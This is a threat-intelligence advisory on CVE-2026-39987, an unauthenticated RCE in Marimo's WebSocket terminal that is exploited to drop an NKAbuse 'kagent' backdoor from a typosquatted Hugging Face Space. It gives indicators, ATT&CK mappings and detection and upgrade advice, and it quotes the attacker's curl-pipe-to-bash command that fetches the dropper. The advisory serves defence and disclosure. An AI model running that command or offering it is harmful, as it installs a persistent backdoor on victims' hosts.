CVE-2026-39987: Marimo Pre-Auth RCE Weaponized to Drop NKAbuse Blockchain Backdoor From Hugging Face Spaces
Date: 2026-05-01
TLP: TLP:CLEAR
Tags: malicious-tool, malware
Executive Summary
CVE-2026-39987, a CVSS 9.3 unauthenticated remote code execution flaw in the Marimo Python notebook platform's /terminal/ws WebSocket endpoint, was disclosed on April 8, 2026 and exploited within 10 hours. Sysdig's Threat Research Team reported on April 16, 2026 that 11 unique source IPs from 10 countries generated 662 exploit events between April 11 and April 14, including a campaign that delivered an undocumented variant of the NKN-blockchain-based NKAbuse Go backdoor (kagent) hosted on the typosquatted Hugging Face Space vsccode-modetx. Defenders running Marimo must upgrade to 0.23.0 or later immediately, and hunt for kagent, ~/.kagent/, and outbound NKN protocol traffic on hosts that ran any vulnerable Marimo instance.
Campaign Summary
| Field | Detail |
|---|---|
| Campaign / Malware | NKAbuse "kagent" via Marimo CVE-2026-39987 |
| Attribution | Unattributed; opportunistic mass exploitation observed from 11 source IPs (confidence: none) |
| Target | Internet-exposed Marimo notebook deployments (data scientists, AI dev environments) |
| Vector | Pre-auth RCE on /terminal/ws WebSocket; payload staged from Hugging Face Spaces |
| Status | active (vulnerability patched in 0.23.0; exploitation ongoing) |
| First Observed | 2026-04-08 (disclosure); first observed exploitation 2026-04-08 (within ~10 hours) |
Detailed Findings
According to Resecurity, Positive Technologies, and Sysdig, CVE-2026-39987 affects all Marimo versions through and including 0.20.4. The /terminal/ws WebSocket endpoint exposes a full PTY shell without authentication validation, allowing an unauthenticated attacker on any network path to the Marimo server to spawn arbitrary commands as the Marimo process user. The flaw was disclosed on April 8, 2026; Sysdig and BleepingComputer report exploitation began within roughly 10 hours of disclosure.
According to Sysdig's Threat Research Team, between April 11 and April 14, 2026, 11 unique source IPs across 10 countries generated 662 distinct exploit events against honeypots and customer telemetry. The activity included reverse shells, credential extraction, DNS exfiltration, lateral movement to PostgreSQL and Redis using credentials harvested from the host, and deployment of a previously undocumented malware variant. SC Media corroborated the multi-actor pattern as "multiple attacks weaponizing critical Marimo RCE."
Sysdig reports the most distinctive sample was delivered from IP 38.147.173.172 (Hong Kong). The actor issued curl -fsSL https://vsccode-modetx.hf.space/install-linux.sh | bash, retried three times, and returned 20 minutes later to verify execution. The dropper URL points to a Hugging Face Space named vsccode-modetx, a deliberate typosquat of "VS Code." The Space hosts the dropper install-linux.sh (SHA-256 25e4b2c4bb37f125b693a9c57b0e743eab2a3d98234f7519cd389e788252fd13) and a binary named kagent, mimicking the legitimate Kubernetes AI agent framework name. According to Sysdig, the dropper supports cross-platform installation, downloads the kagent binary, installs it locally, and sets up persistence via systemd unit, cron entry, or macOS LaunchAgent depending on the host.
According to Sysdig, GBHackers, and Cybersecurity News, kagent is a stripped, UPX-packed Go ELF that unpacks from approximately 4.3 MB to 15.5 MB and represents a previously undocumented variant of NKAbuse, a backdoor family that uses the NKN (New Kind of Network) decentralised blockchain protocol for command-and-control. NKN-based C2 sidesteps DNS- and IP-based block lists because traffic relays peer-to-peer over the NKN network rather than reaching a fixed C2 host.
According to BleepingComputer and Sysdig, separate exploit waves observed during the same window also conducted reverse shell campaigns, credential extraction (including cloud credentials and SSH keys), DNS exfiltration, and lateral movement using credentials looted from the Marimo host into adjacent PostgreSQL and Redis services. This multi-actor behaviour is consistent with mass exploitation rather than a single targeted operation.
Marimo addressed the vulnerability in release 0.23.0. The Hacker News, GBHackers, and Security Affairs all urge organisations to upgrade immediately, restrict Marimo to localhost or to authenticated reverse proxies, and audit hosts that exposed the /terminal/ws endpoint to the internet at any point since April 8, 2026.
MITRE ATT&CK Mapping
| Technique | ID | Context |
|---|---|---|
| Exploit Public-Facing Application | T1190 | Pre-authentication RCE on /terminal/ws WebSocket of Marimo prior to 0.23.0 |
| Command and Scripting Interpreter: Unix Shell | T1059.004 | install-linux.sh dropper executed via curl pipe-to-bash |
| Ingress Tool Transfer | T1105 | Download of kagent and install-linux.sh from vsccode-modetx.hf.space Hugging Face Space |
| Resource Hijacking via Hosting Service | T1583.006 | Adversary-controlled Hugging Face Space used as staging infrastructure |
| Persistence: Systemd Service | T1543.002 | kagent installed as systemd user service on Linux hosts |
| Persistence: Scheduled Task/Job: Cron | T1053.003 | Cron entry created where systemd not available |
| Persistence: Launch Agent | T1543.001 | macOS LaunchAgent persistence path |
| Application Layer Protocol: Web Protocols | T1071.001 | HTTPS download of dropper and binary from .hf.space domain |
| Application Layer Protocol | T1071 | NKN blockchain protocol used for C2, evading IP/DNS reputation controls |
| Obfuscated Files or Information: Software Packing | T1027.002 | UPX-packed Go ELF binary |
| Credentials from Password Stores | T1555 | Harvest of credentials from Marimo host filesystem and environment |
| Lateral Movement: Remote Services | T1021 | Use of stolen credentials against adjacent PostgreSQL and Redis services |
IOCs
Domains
vsccode-modetx.hf.space
Full URL Paths
vsccode-modetx.hf.space/install-linux.sh
Splunk Format
"vsccode-modetx.hf.space" OR "vsccode-modetx.hf.space/install-linux.sh" OR "38.147.173.172" OR "kagent.service" OR ".kagent/"
File Hashes
25e4b2c4bb37f125b693a9c57b0e743eab2a3d98234f7519cd389e788252fd13
IP Indicators
38.147.173.172
Package Indicators
The campaign abuses a Hugging Face Space rather than a package registry; no PyPI or npm IOCs apply. The vulnerable software is the Marimo Python notebook (versions ≤ 0.20.4); upgrade to 0.23.0 or later.
Detection Recommendations
Web proxy and EDR: alert on any host that fetched https://vsccode-modetx.hf.space/install-linux.sh or any other resource from vsccode-modetx.hf.space. Treat such hosts as compromised.
Network: monitor for outbound connections matching NKN protocol traffic patterns from servers and developer workstations, particularly from any host that ran Marimo. NKN traffic typically uses peer-to-peer relay to NKN nodes; alert on persistent outbound flows from non-Web/cloud workloads to mixed-IP NKN relay endpoints.
Host hunting: search for the directory ~/.kagent/, the systemd unit kagent.service, the binary name kagent in user bin/ and home directories, cron entries referencing kagent, and macOS LaunchAgents plists for kagent. Confirm against legitimate kagent (Kubernetes AI agent framework) installations before remediating.
Marimo hardening: audit the Marimo version on every host running the notebook server. Block external access to /terminal/ws, place Marimo behind authenticated reverse proxies, and upgrade to 0.23.0 or later. Inspect Marimo process accounting and audit logs for unexpected curl, bash, python, sh invocations between April 8 and the time of patch.
Database lateral movement: review PostgreSQL and Redis audit logs and authentication histories for the period since April 8, 2026, prioritising credentials that were ever stored on a Marimo host filesystem or environment.
Hugging Face hygiene: track which Hugging Face Spaces and Models are reachable from data-science workstations, and apply egress filtering or proxy logging to *.hf.space to support post-compromise hunting.
References
- [Sysdig] CVE-2026-39987 Update: How Attackers Weaponized Marimo to Deploy a Blockchain Botnet via HuggingFace (2026-04-16) — https://www.sysdig.com/blog/cve-2026-39987-update-how-attackers-weaponized-marimo-to-deploy-a-blockchain-botnet-via-huggingface
- [The Hacker News] Marimo RCE Flaw CVE-2026-39987 Exploited Within 10 Hours of Disclosure (2026-04-16) — https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
- [BleepingComputer] Hackers Exploit Marimo Flaw to Deploy NKAbuse Malware From Hugging Face (2026-04-16) — https://www.bleepingcomputer.com/news/security/hackers-exploit-marimo-flaw-to-deploy-nkabuse-malware-from-hugging-face/
- [BleepingComputer] Critical Marimo Pre-Auth RCE Flaw Now Under Active Exploitation (2026-04-08) — https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
- [Resecurity] Marimo Pre-Auth RCE via Unauthenticated WebSocket Terminal (CVE-2026-39987) (2026-04) — https://www.resecurity.com/blog/article/marimo-pre-auth-rce-via-unauthenticated-websocket-terminal-cve-2026-39987
- [Cybersecurity News] Attackers Weaponize CVE-2026-39987 to Spread Blockchain-Based Backdoor Via Hugging Face (2026-04) — https://cybersecuritynews.com/attackers-spread-blockchain-based-backdoor-via-hugging-face/
- [GBHackers] Weaponized CVE-2026-39987 Pushes Blockchain Backdoor Through Hugging Face (2026-04) — https://gbhackers.com/weaponized-cve-2026-39987/
- [SC Media] Multiple Attacks Weaponizing Critical Marimo RCE Identified (2026-04) — https://www.scworld.com/brief/multiple-attacks-weaponizing-critical-marimo-rce-identified
- [Security Affairs] CVE-2026-39987: Marimo RCE Exploited in Hours After Disclosure (2026-04) — https://securityaffairs.com/190623/hacking/cve-2026-39987-marimo-rce-exploited-in-hours-after-disclosure.html
- [Cloud Security Alliance Labs] Marimo Pre-Auth RCE: AI Development Toolchain Under Attack (2026-04) — https://labs.cloudsecurityalliance.org/research/csa-research-note-marimo-rce-cve-2026-39987-ai-toolchain-202/